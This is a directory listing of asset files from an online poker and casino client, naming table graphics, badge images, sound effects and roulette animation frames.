D:\fulltilt\Graphics\NewTable\Common\Misc\Small_Blue_Button_On.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\Small_Red_Button_Focused_Off.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\Small_Red_Button_Focused_On.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\Small_Red_Button_Off.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\Small_Red_Button_On.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\Small_button_disabled.svg
D:\fulltilt\Graphics\NewTable\Common\Misc\Transitions-background.svg
D:\fulltilt\Graphics\NewTable\Common\PodBadges\rank-diode-01.svg
D:\fulltilt\Graphics\NewTable\Common\PodBadges\rank-diode-02.svg
D:\fulltilt\Graphics\NewTable\Common\PodBadges\rank-diode-03.svg
D:\fulltilt\Graphics\NewTable\Common\PodBadges\rank-diode-04.svg
D:\fulltilt\Graphics\NewTable\Common\PodBadges\rank-diode-05.svg
D:\fulltilt\Graphics\NewTable\Common\PodBadges\rank-diode-06.svg
D:\fulltilt\Graphics\NewTable\Common\PodBadges\rank-diode-07.svg
D:\fulltilt\Graphics\NewTable\Common\PodBadges\rank-diode-08.svg
D:\fulltilt\Graphics\NewTable\Common\PodBadges\rank-diode-09.svg
D:\fulltilt\Graphics\NewTable\Common\PodBadges\rank-diode-10.svg
D:\fulltilt\Graphics\NewTable\Common\PodBadges\rank-diode-11.svg
D:\fulltilt\Graphics\NewTable\Common\PodBadges\rank-diode-12.svg
D:\fulltilt\Graphics\NewTable\Common\PodBadges\rank-diode-13.svg
D:\fulltilt\Graphics\NewTable\Common\PodBadges\rank-diode-14.svg
D:\fulltilt\Graphics\NewTable\Common\Pod\Muted.svg
D:\fulltilt\Graphics\NewTable\Common\Pod\PodOn-Double-0Token.svg
D:\fulltilt\Graphics\NewTable\Common\Pod\PodOn-Double-1Token.svg
D:\fulltilt\Graphics\NewTable\Common\Pod\PodOn-Triple-0Token.svg
D:\fulltilt\Graphics\NewTable\Common\Pod\PodOn-Triple-1Token.svg
D:\fulltilt\Graphics\NewTable\Common\Pod\PodOn-Triple-2Token.svg
D:\fulltilt\Graphics\NewTable\Common\Slider\SliderBox.svg
D:\fulltilt\Graphics\NewTable\Common\Slider\SliderOff.svg
D:\fulltilt\Graphics\NewTable\Common\Slider\SliderOn.svg
D:\fulltilt\Graphics\NewTable\Common\Slider\SliderThumb.svg
D:\fulltilt\Graphics\NewTable\Common\Table\Elements\TableSplash.svg
D:\fulltilt\Graphics\NewTable\Common\TimeBank\TimeBank_Active.svg
D:\fulltilt\Graphics\NewTable\Common\TimeBank\TimeBank_Disconnect.svg
D:\fulltilt\Graphics\NewTable\Common\TimeBank\TimeBank_Inactive.svg
D:\fulltilt\Graphics\NewTable\Common\TimeBank\TimeBank_Off.svg
D:\fulltilt\Graphics\NewTable\Common\TimeBank\TimeBank_On.svg
D:\fulltilt\Graphics\NewTable\Common\TimeBank\TimeBank_Reconnect.svg
D:\fulltilt\Graphics\NewTable\LHH_Classic\BasePodLid_Off.svg
D:\fulltilt\Graphics\NewTable\LHH_Classic\BasePodLid_On.svg
D:\fulltilt\Graphics\NewTable\LHH_Classic\BasePod_Off.svg
D:\fulltilt\Graphics\NewTable\LHH_Classic\BasePod_On.svg
D:\fulltilt\Graphics\NewTable\LHH_Classic\EmptySeat.svg
D:\fulltilt\Graphics\NewTable\LHH_Classic\Seat.svg
D:\fulltilt\Graphics\NewTable\LHH_Classic\Timer.svg
D:\fulltilt\Graphics\NewTable\LHH_Classic\Timer_Highlight.svg
D:\fulltilt\Graphics\NewTable\LHH_Classic\Timer_Highlight_Red.svg
D:\fulltilt\Graphics\NewTable\LHH_Classic\background.jpg
D:\fulltilt\Graphics\NewTable\LHH_Classic\table.svg
D:\fulltilt\Graphics\NewTable\LHH_RaceTrack\BasePod_Off.svg
D:\fulltilt\Graphics\NewTable\LHH_RaceTrack\BasePod_On.svg
D:\fulltilt\Graphics\NewTable\LHH_RaceTrack\Table.svg
D:\fulltilt\Graphics\NewTable\LHH_RaceTrack\Timer.svg
D:\fulltilt\Graphics\NewTable\LHH_RaceTrack\Timer_Highlight.svg
D:\fulltilt\Graphics\NewTable\LHH_RaceTrack\Timer_Highlight_Red.svg
D:\fulltilt\Graphics\NewTable\LHH_RaceTrack\background.jpg
D:\fulltilt\Graphics\NewTable\MET\merging-chip.svg
D:\fulltilt\Graphics\NewTable\MET\merging-chips-stack.svg
D:\fulltilt\Graphics\NewTable\MET\merging-stacks-glow.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Backgrounds\AdrenalineRush.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Backgrounds\Blue Carpet\Table.jpg
D:\fulltilt\Graphics\NewTable\RaceTrack\Backgrounds\FinalTable\Table.jpg
D:\fulltilt\Graphics\NewTable\RaceTrack\Backgrounds\Gold Carpet\Table.jpg
D:\fulltilt\Graphics\NewTable\RaceTrack\Backgrounds\Green Carpet\Table.jpg
D:\fulltilt\Graphics\NewTable\RaceTrack\Backgrounds\Marble\Table.jpg
D:\fulltilt\Graphics\NewTable\RaceTrack\Backgrounds\Red Carpet\Table.jpg
D:\fulltilt\Graphics\NewTable\RaceTrack\Backgrounds\Rush_Table.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Backgrounds\Stainless\Table.jpg
D:\fulltilt\Graphics\NewTable\RaceTrack\Backgrounds\Table.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Backgrounds\Wood\Table.jpg
D:\fulltilt\Graphics\NewTable\RaceTrack\Buttons\Cashout_Cancel.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Buttons\PlayMoney.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Buttons\PlayMoneyBottom_On.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Buttons\PlayMoneyTop_On.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Buttons\PlayMoney_Off.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Buttons\PlayMoney_On.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Buttons\SCD_Off.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Buttons\SCD_On.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Elements\OptionMenu_RT.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Elements\PersistentActionsRx2.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\black_active.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\black_active_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\black_off.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\black_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\black_on.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\black_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\bronze_active.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\bronze_active_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\bronze_off.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\bronze_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\bronze_on.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\bronze_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\diamond_active.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\diamond_active_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\diamond_off.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\diamond_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\diamond_on.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\diamond_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\edge-pro_active.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\edge-pro_active_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\edge-pro_off.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\edge-pro_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\edge-pro_on.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\edge-pro_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\ftops_active.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\ftops_active_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\ftops_off.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\ftops_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\ftops_on.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\ftops_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\gold_active.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\gold_active_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\gold_off.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\gold_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\gold_on.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\gold_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\platinum_active.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\platinum_active_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\platinum_off.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\platinum_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\platinum_on.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\platinum_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\pod_badges_off.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\pod_badges_on.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\rush_active.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\rush_active_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\rush_off.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\rush_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\rush_on.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\rush_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\silver_active.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\silver_active_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\silver_off.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\silver_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\silver_on.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\silver_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\true_active.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\true_active_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\true_off.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\true_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\true_on.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\PodBadges\true_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Pod\BasePod_Off.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Pod\BasePod_On.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Pod\RTOff-Double-0Token.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Pod\RTOff-Double-1Token.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Pod\RTOff-Triple-0Token.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Pod\RTOff-Triple-1Token.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Pod\RTOff-Triple-2Token.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Pod\Timer.svg
D:\fulltilt\Graphics\NewTable\RaceTrack\Pod\mobile.svg
D:\fulltilt\Graphics\OptionsDialog\Lobby-View-Basic.jpg
D:\fulltilt\Graphics\OptionsDialog\Lobby-View-Standard.jpg
D:\fulltilt\Graphics\RedesignTournament\Backgrounds\New-To-Game-Marketing-Logo.jpg
D:\fulltilt\Graphics\RedesignTournament\Backgrounds\RushTourney-Marketing-Logo.jpg
D:\fulltilt\Graphics\RedesignTournament\Backgrounds\blank_bg.jpg
D:\fulltilt\Graphics\Sign-Up\Sign-Up-Background.jpg
D:\fulltilt\Graphics\SpeedLobby\Background\background.jpg
D:\fulltilt\Graphics\Standard View\Background\Background.jpg
D:\fulltilt\Graphics\Standard View\Standard View Console\Divider lines\horizontal_line.jpg
D:\fulltilt\Graphics\Standard View\Standard View Console\Divider lines\vertical_line.jpg
D:\fulltilt\Graphics\TableOptions\BG-Classic-Beach.jpg
D:\fulltilt\Graphics\TableOptions\BG-Classic-Jungle.jpg
D:\fulltilt\Graphics\TableOptions\BG-Classic-Midnight.jpg
D:\fulltilt\Graphics\TableOptions\BG-Classic-OuterSpace.jpg
D:\fulltilt\Graphics\TableOptions\BG-Classic-Plain.jpg
D:\fulltilt\Graphics\TableOptions\BG-Classic-SkiLodge.jpg
D:\fulltilt\Graphics\TableOptions\BG-Classic-Vegas.jpg
D:\fulltilt\Graphics\TableOptions\BG-RaceTrack-Blue-Carpet.jpg
D:\fulltilt\Graphics\TableOptions\BG-RaceTrack-Gold-Carpet.jpg
D:\fulltilt\Graphics\TableOptions\BG-RaceTrack-Green-Carpet.jpg
D:\fulltilt\Graphics\TableOptions\BG-RaceTrack-Marble.jpg
D:\fulltilt\Graphics\TableOptions\BG-RaceTrack-Red-Carpet.jpg
D:\fulltilt\Graphics\TableOptions\BG-RaceTrack-Steel.jpg
D:\fulltilt\Graphics\TableOptions\BG-RaceTrack-Wood.jpg
D:\fulltilt\Graphics\TableOptions\CardsPanelImages\BG-Classic-Beach.jpg
D:\fulltilt\Graphics\TableOptions\CardsPanelImages\BG-Classic-Jungle.jpg
D:\fulltilt\Graphics\TableOptions\CardsPanelImages\BG-Classic-Midnight.jpg
D:\fulltilt\Graphics\TableOptions\CardsPanelImages\BG-Classic-OuterSpace.jpg
D:\fulltilt\Graphics\TableOptions\CardsPanelImages\BG-Classic-Plain.jpg
D:\fulltilt\Graphics\TableOptions\CardsPanelImages\BG-Classic-SkiLodge.jpg
D:\fulltilt\Graphics\TableOptions\CardsPanelImages\BG-Classic-Vegas.jpg
D:\fulltilt\Graphics\TableOptions\CardsPanelImages\BG-RaceTrack-Blue-Carpet.jpg
D:\fulltilt\Graphics\TableOptions\CardsPanelImages\BG-RaceTrack-Gold-Carpet.jpg
D:\fulltilt\Graphics\TableOptions\CardsPanelImages\BG-RaceTrack-Green-Carpet.jpg
D:\fulltilt\Graphics\TableOptions\CardsPanelImages\BG-RaceTrack-Marble.jpg
D:\fulltilt\Graphics\TableOptions\CardsPanelImages\BG-RaceTrack-Red-Carpet.jpg
D:\fulltilt\Graphics\TableOptions\CardsPanelImages\BG-RaceTrack-Steel.jpg
D:\fulltilt\Graphics\TableOptions\CardsPanelImages\BG-RaceTrack-Wood.jpg
D:\fulltilt\Graphics\TableOptions\Table-View-Classic.jpg
D:\fulltilt\Graphics\TableOptions\Table-View-RaceTrack.jpg
D:\fulltilt\Waves\Alert-5.wav
D:\fulltilt\Waves\Bell-2.wav
D:\fulltilt\Waves\Bell-4.wav
D:\fulltilt\Waves\Bell-5.wav
D:\fulltilt\Waves\Bell-6.wav
D:\fulltilt\Waves\Bell-7.wav
D:\fulltilt\Waves\Bet-4.wav
D:\fulltilt\Waves\Buzzer-2.wav
D:\fulltilt\Waves\Bv-button.wav
D:\fulltilt\Waves\Bv-login.wav
D:\fulltilt\Waves\Bv-transition.wav
D:\fulltilt\Waves\Checkmark-4.wav
D:\fulltilt\Waves\Connect.avi
D:\fulltilt\Waves\Deal-4.wav
D:\fulltilt\Waves\Fold-3.wav
D:\fulltilt\Waves\Mountain-9.wav
D:\fulltilt\Waves\Raise-2.wav
D:\fulltilt\Waves\Shuffle-4.wav
D:\fulltilt\Waves\Sv-clicked.wav
D:\fulltilt\Waves\Sv-scroll.wav
D:\fulltilt\Waves\Sweep-3.wav
D:\fulltilt\Waves\Sweep-5.wav
D:\fulltilt\Waves\client_runit.wav
D:\fulltilt\Waves\rush_fade_t2t.wav
D:\fulltilt\Waves\rush_one.wav
D:\fulltilt\Waves\rush_t2t.wav
D:\fulltilt\Waves\rush_t2v.wav
D:\fulltilt\Waves\rush_three.wav
D:\fulltilt\Waves\rush_two.wav
D:\fulltilt\Waves\rush_v2t.wav
D:\fulltilt\xc\blackjack\snd\alert_action_timeout.wav
D:\fulltilt\xc\blackjack\snd\newsnd5.wav
D:\fulltilt\xc\blackjack\snd\snd3.wav
D:\fulltilt\xc\blackjack\snd\snd_is_bj.wav
D:\fulltilt\xc\blackjack\snd\snd_no_bj.wav
D:\fulltilt\xc\blackjack\table\Table_BJ_full.jpg
D:\fulltilt\xc\blackjack\table\bls_btn-rules.jpg
D:\fulltilt\xc\blackjack\table\bls_panel.jpg
D:\fulltilt\xc\i18n.msg_acl.txt
D:\fulltilt\xc\i18n.msg_ahh.txt
D:\fulltilt\xc\i18n.msg_cli.txt
D:\fulltilt\xc\roulette\Snd\BallBounce.wav
D:\fulltilt\xc\roulette\Snd\BallRest.wav
D:\fulltilt\xc\roulette\Snd\BallSlow.wav
D:\fulltilt\xc\roulette\Snd\BallSpin.wav
D:\fulltilt\xc\roulette\Snd\BallStart.wav
D:\fulltilt\xc\roulette\Snd\chip1.wav
D:\fulltilt\xc\roulette\Snd\chip_collect.wav
D:\fulltilt\xc\roulette\Snd\collect_inside_chips.wav
D:\fulltilt\xc\roulette\Snd\dolly.wav
D:\fulltilt\xc\roulette\Snd\shifting_chips.wav
D:\fulltilt\xc\roulette\Snd\shifting_chips_short.wav
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0001.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0002.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0003.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0004.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0005.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0006.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0007.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0008.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0009.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0010.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0011.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0012.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0013.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0014.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0015.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0016.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0017.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0018.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0019.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0020.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0021.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0022.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0023.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0024.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0025.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0026.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0027.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0028.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0029.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0030.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0031.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0032.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0033.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0034.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0035.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0036.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0037.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0038.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0039.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0040.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0041.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0042.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0043.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0044.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0045.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0046.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0047.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0048.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0049.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0050.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0051.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0052.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0053.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0054.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0055.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0056.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0057.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0058.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0059.jpg
D:\fulltilt\xc\roulette\close-up\spin1\ball_zoom_spin0060.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0001.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0002.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0003.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0004.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0005.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0006.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0007.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0008.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0009.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0010.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0011.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0012.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0013.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0014.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0015.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0016.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0017.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0018.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0019.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0020.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0021.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0022.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0023.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0024.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0025.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0026.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0027.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0028.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0029.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0030.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0031.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0032.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0033.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0034.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0035.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0036.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0037.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0038.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0039.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0040.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0041.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0042.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0043.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0044.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0045.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0046.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0047.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0048.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0049.jpg
D:\fulltilt\xc\roulette\close-up\trans\ball_zoom_wipe0050.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0001.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0002.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0003.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0004.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0005.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0006.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0007.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0008.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0009.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0010.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0011.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0012.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0013.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0014.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0015.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0016.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0017.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0018.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0019.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0020.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0021.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0022.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0023.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0024.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0025.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0026.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0027.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0028.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0029.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0030.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0031.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0032.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0033.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0034.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0035.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0036.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0037.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0038.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0039.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0040.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0041.jpg
